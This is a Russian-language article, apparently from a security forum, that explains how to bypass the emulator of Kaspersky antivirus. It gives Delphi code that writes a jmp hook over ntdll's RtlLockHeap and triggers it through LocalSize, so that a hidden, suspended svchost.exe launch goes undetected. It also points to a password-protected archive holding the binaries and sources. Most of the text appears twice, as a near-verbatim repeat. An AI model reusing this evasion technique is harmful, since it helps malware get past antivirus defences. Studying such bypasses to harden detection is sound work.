На данный момент в мире создаётся всё большее количество вирусов, за количеством которых невозможно успеть. Поэтому современные технологии «облачных сетей» и эвристических анализаторов кода призваны обеспечить защиту от совершенно новых угроз до того, как аналитики добавят образцы в антивирусные базы.
Не для кого не секрет, что в каждой системе всегда найдется пара дырок, которые рано или поздно выплывут наружу. Иногда это связано с ошибками программистов, иногда — из-за развития технологий вирмейкерства. В данной статье я покажу Вам один из способов обхода эмулятора в последних версиях антивируса Касперского.
Что вообще из себя представляет эмулятор в антивирусе и зачем он нужен? Ответ очень прост — практически все вредоносное ПО подвержено шифрованию и пакингу различными крипторами и протекторами, во время проверки файла на диске эмулятор «раскручивает» тестируемый исполнительный файл на своей виртуальной машине и постепенно «добирается» до нужного кода, детект которого уже происходит либо сигнатурным, либо эвристическим методом.
Во время разработки одной из своих программ я столкнулся с проблемой, что антивирус Касперского постоянно ругался на мой ехешник, как на "HEUR:Trojan.Win32.Generic", хотя ничего вредоносного в нем я не видел. Методом исключений было выявлено, что антивирус ругается на создание процесса функцией CreateProcess(...), если в ее параметрах выставлен флаг скрытого запуска процесса. Деваться от этого было некуда, поэтому пришлось перебирать различные варианты исполнения кода, тем более мне самому это было интересно. Результат не заставил себя долго ждать — за пару часов было найдено три способа противодействия эмулятору, давайте рассмотрим, на мой взгляд, самый интересный из них, который заключается в уязвимости проверок api функций.
Эмулятор проверяет лишь вызовы win api, которые делает тестируемое приложение, но вот анализирует ли он другие api, которое вызывает проверяемое, как оказалось — нет. Было ли это сделано в целях оптимизации или же простой недосмотр разработчиков — никто и не узнает.
Для наглядности привожу маленькую схемку: слева изображено исполнение программы в реальной среде, а справа — исполнение проверок над кодом в среде эмулятора антивируса.
В пример привожу часть кода, которая детектировалась в моей программе. Как и говорилось ранее — код не делает ничего плохого, лишь запускает процесс в остановленном виде. Написан на delphi.
Всё что надо для незаметного выполнения кода под носом у эмулятора — это сделать хук на любую api и перевести выполнение на код, который должен остаться незамеченным, а затем найти другую api, которая вызывает первую и вызвать ее в своем коде. В следующем примере я взял следующие функции: "RtlLockHeap(...)" из "ntdll.dll" и "LocalSize(...)" из "kernel32.dll". Как многие уже поняли — вторая вызывает первую. После установления хука на "RtlLockHeap(...)" цепочка вызовов получается следующая:
MyCode(...) -> LocalSize(...) -> RtlLockHeap(...) -> BadCode(...).
Детекта антивирусом уже не будет.
Золотое правило: «доверяй — но проверяй!» К сожалению, существующая политика «доверия» подписанным программам уже дала сбой: это примеры, реализованные и в вирусе Stuxnet, и в недавней эксплуатации уязвимости Adobe. Как показал мой маленький опыт — тем же проблемам подвержен и эвристический анализатор кода одного из самых популярных антивирусов. Особенно показательно то, что эвристический анализатор Касперского — один из двух, которые заметили угрозу в данному файле (за что ему честь и хвала), при чём детект китайского Jiangmin — явное ложное срабатывание. Жаль только, что всё решилось так просто…
Всё это в очередной раз подтверждает непреложную истину, что ни один программный продукт не обеспечит должную защиту без понимания азов безопастности со стороны оператора и его активных действий про пресечению угроз.
В дополнение выкладывается комплект скомпилированных исполняемых файлов и исходники, о которых речь шла в статье. Пароль на архив — elcrabe.
Выражаю благодарность юзеру gjf за помощь в подготовлении статьи.
Не для кого не секрет, что в каждой системе всегда найдется пара дырок, которые рано или поздно выплывут наружу. Иногда это связано с ошибками программистов, иногда — из-за развития технологий вирмейкерства. В данной статье я покажу Вам один из способов обхода эмулятора в последних версиях антивируса Касперского.
Теория
Что вообще из себя представляет эмулятор в антивирусе и зачем он нужен? Ответ очень прост — практически все вредоносное ПО подвержено шифрованию и пакингу различными крипторами и протекторами, во время проверки файла на диске эмулятор «раскручивает» тестируемый исполнительный файл на своей виртуальной машине и постепенно «добирается» до нужного кода, детект которого уже происходит либо сигнатурным, либо эвристическим методом.
Во время разработки одной из своих программ я столкнулся с проблемой, что антивирус Касперского постоянно ругался на мой ехешник, как на "HEUR:Trojan.Win32.Generic", хотя ничего вредоносного в нем я не видел. Методом исключений было выявлено, что антивирус ругается на создание процесса функцией CreateProcess(...), если в ее параметрах выставлен флаг скрытого запуска процесса. Деваться от этого было некуда, поэтому пришлось перебирать различные варианты исполнения кода, тем более мне самому это было интересно. Результат не заставил себя долго ждать — за пару часов было найдено три способа противодействия эмулятору, давайте рассмотрим, на мой взгляд, самый интересный из них, который заключается в уязвимости проверок api функций.
Эмулятор проверяет лишь вызовы win api, которые делает тестируемое приложение, но вот анализирует ли он другие api, которое вызывает проверяемое, как оказалось — нет. Было ли это сделано в целях оптимизации или же простой недосмотр разработчиков — никто и не узнает.
Для наглядности привожу маленькую схемку: слева изображено исполнение программы в реальной среде, а справа — исполнение проверок над кодом в среде эмулятора антивируса.
Практика
В пример привожу часть кода, которая детектировалась в моей программе. Как и говорилось ранее — код не делает ничего плохого, лишь запускает процесс в остановленном виде. Написан на delphi.
procedure ProcessBadCode();
var
StartInfo : TStartupInfoA;
ProcInfo : TProcessInformation;
begin
ZeroMemory(@StartInfo, SizeOf(TStartupInfoA));
StartInfo.cb := SizeOf(TStartupInfoA);
CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
end;
begin
ProcessBadCode();
end.
Всё что надо для незаметного выполнения кода под носом у эмулятора — это сделать хук на любую api и перевести выполнение на код, который должен остаться незамеченным, а затем найти другую api, которая вызывает первую и вызвать ее в своем коде. В следующем примере я взял следующие функции: "RtlLockHeap(...)" из "ntdll.dll" и "LocalSize(...)" из "kernel32.dll". Как многие уже поняли — вторая вызывает первую. После установления хука на "RtlLockHeap(...)" цепочка вызовов получается следующая:
MyCode(...) -> LocalSize(...) -> RtlLockHeap(...) -> BadCode(...).
Детекта антивирусом уже не будет.
var
Initialized : Boolean;
procedure ProcessBadCode();
var
StartInfo : TStartupInfoA;
ProcInfo : TProcessInformation;
begin
if not Initialized then // наш код может выполниться один раз, а вот хученая апи - нет
begin
Initialized := True; // посему сделаем переменную, которая будет это контролировать
ZeroMemory(@StartInfo, SizeOf(TStartupInfoA));
StartInfo.cb := SizeOf(TStartupInfoA);
CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
Sleep(5000); // подождем и завершим запущенный процесс
TerminateProcess(ProcInfo.hProcess, 0);
ExitProcess(0); // завершим текущий
end;
Sleep(INFINITE); // все вызовы хученой апи мы ставим на паузу
end;
procedure ProcessStartCode();
procedure WriteJmp(AddressFrom, AddressTo : Integer); // записывает jmp на нужный код
var
Protect, Stuff : Cardinal;
begin
VirtualProtect(Ptr(AddressFrom), 5, PAGE_EXECUTE_READWRITE, Protect);
PByte(AddressFrom)^ := $E9;
PInteger(AddressFrom + 1)^ := AddressTo - AddressFrom - 5;
VirtualProtect(Ptr(AddressFrom), 5, Protect, Stuff);
end;
var
NativeFunc : procedure();
begin
// найдем адрес первой функции
@NativeFunc := GetProcAddress(GetModuleHandle('ntdll.dll'), 'RtlLockHeap');
// Поставим там хук переведя исполнение программы на BadCode
WriteJmp(Integer(@NativeFunc), Integer(@ProcessBadCode));
// Вызовем вторую, которая вызовет первую ...
LocalSize(0);
end;
begin
ProcessStartCode();
end.
Выводы
Золотое правило: «доверяй — но проверяй!» К сожалению, существующая политика «доверия» подписанным программам уже дала сбой: это примеры, реализованные и в вирусе Stuxnet, и в недавней эксплуатации уязвимости Adobe. Как показал мой маленький опыт — тем же проблемам подвержен и эвристический анализатор кода одного из самых популярных антивирусов. Особенно показательно то, что эвристический анализатор Касперского — один из двух, которые заметили угрозу в данному файле (за что ему честь и хвала), при чём детект китайского Jiangmin — явное ложное срабатывание. Жаль только, что всё решилось так просто…
Всё это в очередной раз подтверждает непреложную истину, что ни один программный продукт не обеспечит должную защиту без понимания азов безопастности со стороны оператора и его активных действий про пресечению угроз.
В дополнение выкладывается комплект скомпилированных исполняемых файлов и исходники, о которых речь шла в статье. Пароль на архив — elcrabe.
Выражаю благодарность юзеру gjf за помощь в подготовлении статьи.